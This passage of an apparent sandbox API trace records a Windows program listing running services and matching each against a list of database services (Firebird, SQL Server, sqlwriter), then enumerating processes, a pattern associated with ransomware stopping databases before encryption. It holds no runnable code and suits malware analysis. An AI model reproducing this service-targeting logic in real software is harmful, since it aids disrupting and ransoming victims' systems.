cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0276.909] CloseHandle (hObject=0x4b0) returned 1 [0276.909] Sleep (dwMilliseconds=0x1f4) [0277.432] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aaa38 [0277.433] EnumServicesStatusExW (in: hSCManager=0x41aaa38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0277.433] GetLastError () returned 0xea [0277.433] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1ca4) returned 0x5081068 [0277.434] EnumServicesStatusExW (in: hSCManager=0x41aaa38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5081068, cbBufSize=0x1ca4, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5081068, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0277.435] CloseServiceHandle (hSCObject=0x41aaa38) returned 1 [0277.435] lstrlenW (lpString="Appinfo") returned 7 [0277.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0277.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0277.435] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0277.435] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0277.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0277.435] lstrlenW (lpString="AppXSvc") returned 7 [0277.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0277.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0277.436] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0277.436] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0277.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0277.436] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0277.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0277.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0277.436] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0277.436] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0277.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0277.436] lstrlenW (lpString="Audiosrv") returned 8 [0277.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0277.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0277.436] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0277.436] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0277.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0277.436] lstrlenW (lpString="BFE") returned 3 [0277.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0277.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0277.436] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0277.436] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0277.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0277.436] lstrlenW (lpString="BITS") returned 4 [0277.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0277.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0277.436] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0277.436] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0277.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0277.437] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0277.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0277.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0277.437] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0277.437] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0277.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0277.437] lstrlenW (lpString="CDPSvc") returned 6 [0277.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0277.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0277.437] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0277.437] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0277.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0277.437] lstrlenW (lpString="ClickToRunSvc") returned 13 [0277.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0277.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0277.437] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0277.438] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0277.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0277.438] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0277.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0277.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0277.438] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0277.438] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0277.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0277.438] lstrlenW (lpString="CryptSvc") returned 8 [0277.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0277.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0277.438] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0277.438] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0277.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0277.438] lstrlenW (lpString="DcomLaunch") returned 10 [0277.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0277.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0277.438] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0277.438] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0277.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0277.438] lstrlenW (lpString="DeviceAssociationService") returned 24 [0277.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0277.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0277.438] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0277.438] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0277.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0277.438] lstrlenW (lpString="Dhcp") returned 4 [0277.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0277.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0277.439] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0277.439] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0277.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0277.439] lstrlenW (lpString="Dnscache") returned 8 [0277.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0277.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0277.439] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0277.439] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0277.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0277.439] lstrlenW (lpString="DPS") returned 3 [0277.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0277.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0277.439] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0277.439] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0277.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0277.439] lstrlenW (lpString="DusmSvc") returned 7 [0277.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0277.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0277.439] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0277.439] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0277.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0277.439] lstrlenW (lpString="EventLog") returned 8 [0277.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0277.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0277.439] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0277.440] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0277.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0277.440] lstrlenW (lpString="EventSystem") returned 11 [0277.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0277.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0277.440] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0277.440] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0277.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0277.440] lstrlenW (lpString="FontCache") returned 9 [0277.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0277.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0277.440] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0277.440] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0277.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0277.440] lstrlenW (lpString="gpsvc") returned 5 [0277.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0277.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0277.440] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0277.440] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0277.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0277.440] lstrlenW (lpString="iphlpsvc") returned 8 [0277.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0277.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0277.440] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0277.440] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0277.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0277.440] lstrlenW (lpString="KeyIso") returned 6 [0277.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0277.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0277.441] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0277.441] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0277.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0277.441] lstrlenW (lpString="LanmanServer") returned 12 [0277.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0277.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0277.441] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0277.441] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0277.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0277.441] lstrlenW (lpString="LanmanWorkstation") returned 17 [0277.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0277.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0277.441] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0277.441] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0277.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0277.441] lstrlenW (lpString="lfsvc") returned 5 [0277.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0277.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0277.441] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0277.441] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0277.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0277.441] lstrlenW (lpString="lmhosts") returned 7 [0277.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0277.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0277.441] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0277.441] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0277.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0277.442] lstrlenW (lpString="LSM") returned 3 [0277.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0277.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0277.442] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0277.442] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0277.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0277.442] lstrlenW (lpString="MpsSvc") returned 6 [0277.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0277.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0277.442] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0277.442] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0277.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0277.442] lstrlenW (lpString="NcbService") returned 10 [0277.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0277.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0277.442] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0277.442] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0277.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0277.442] lstrlenW (lpString="netprofm") returned 8 [0277.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0277.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0277.442] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0277.442] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0277.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0277.442] lstrlenW (lpString="NgcSvc") returned 6 [0277.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0277.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0277.443] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0277.443] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0277.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0277.443] lstrlenW (lpString="NlaSvc") returned 6 [0277.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0277.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0277.443] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0277.443] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0277.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0277.443] lstrlenW (lpString="nsi") returned 3 [0277.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0277.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0277.443] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0277.443] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0277.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0277.443] lstrlenW (lpString="PcaSvc") returned 6 [0277.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0277.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0277.443] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0277.443] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0277.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0277.443] lstrlenW (lpString="PlugPlay") returned 8 [0277.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0277.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0277.443] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0277.443] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0277.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0277.444] lstrlenW (lpString="Power") returned 5 [0277.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0277.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0277.444] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0277.444] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0277.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0277.444] lstrlenW (lpString="ProfSvc") returned 7 [0277.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0277.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0277.444] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0277.444] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0277.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0277.444] lstrlenW (lpString="RpcEptMapper") returned 12 [0277.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0277.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0277.444] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0277.444] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0277.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0277.444] lstrlenW (lpString="RpcSs") returned 5 [0277.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0277.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0277.444] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0277.444] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0277.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0277.444] lstrlenW (lpString="SamSs") returned 5 [0277.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0277.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0277.444] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0277.445] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0277.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0277.445] lstrlenW (lpString="Schedule") returned 8 [0277.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0277.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0277.445] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0277.445] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0277.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0277.445] lstrlenW (lpString="SecurityHealthService") returned 21 [0277.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0277.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0277.445] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0277.445] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0277.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0277.445] lstrlenW (lpString="SENS") returned 4 [0277.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0277.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0277.445] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0277.445] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0277.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0277.445] lstrlenW (lpString="ShellHWDetection") returned 16 [0277.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0277.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0277.445] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0277.445] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0277.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0277.445] lstrlenW (lpString="Spooler") returned 7 [0277.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0277.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0277.446] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0277.446] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0277.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0277.446] lstrlenW (lpString="SSDPSRV") returned 7 [0277.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0277.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0277.446] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0277.446] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0277.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0277.446] lstrlenW (lpString="StateRepository") returned 15 [0277.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0277.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0277.446] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0277.446] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0277.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0277.446] lstrlenW (lpString="SysMain") returned 7 [0277.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0277.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0277.446] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0277.446] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0277.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0277.446] lstrlenW (lpString="SystemEventsBroker") returned 18 [0277.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0277.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0277.446] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0277.447] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0277.447] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5081068 | out: hHeap=0x670000) returned 1 [0277.447] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x47c [0277.453] Process32FirstW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0277.459] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0277.460] lstrlenW (lpString="System") returned 6 [0277.460] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0277.460] lstrlenW (lpString="smss.exe") returned 8 [0277.461] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, 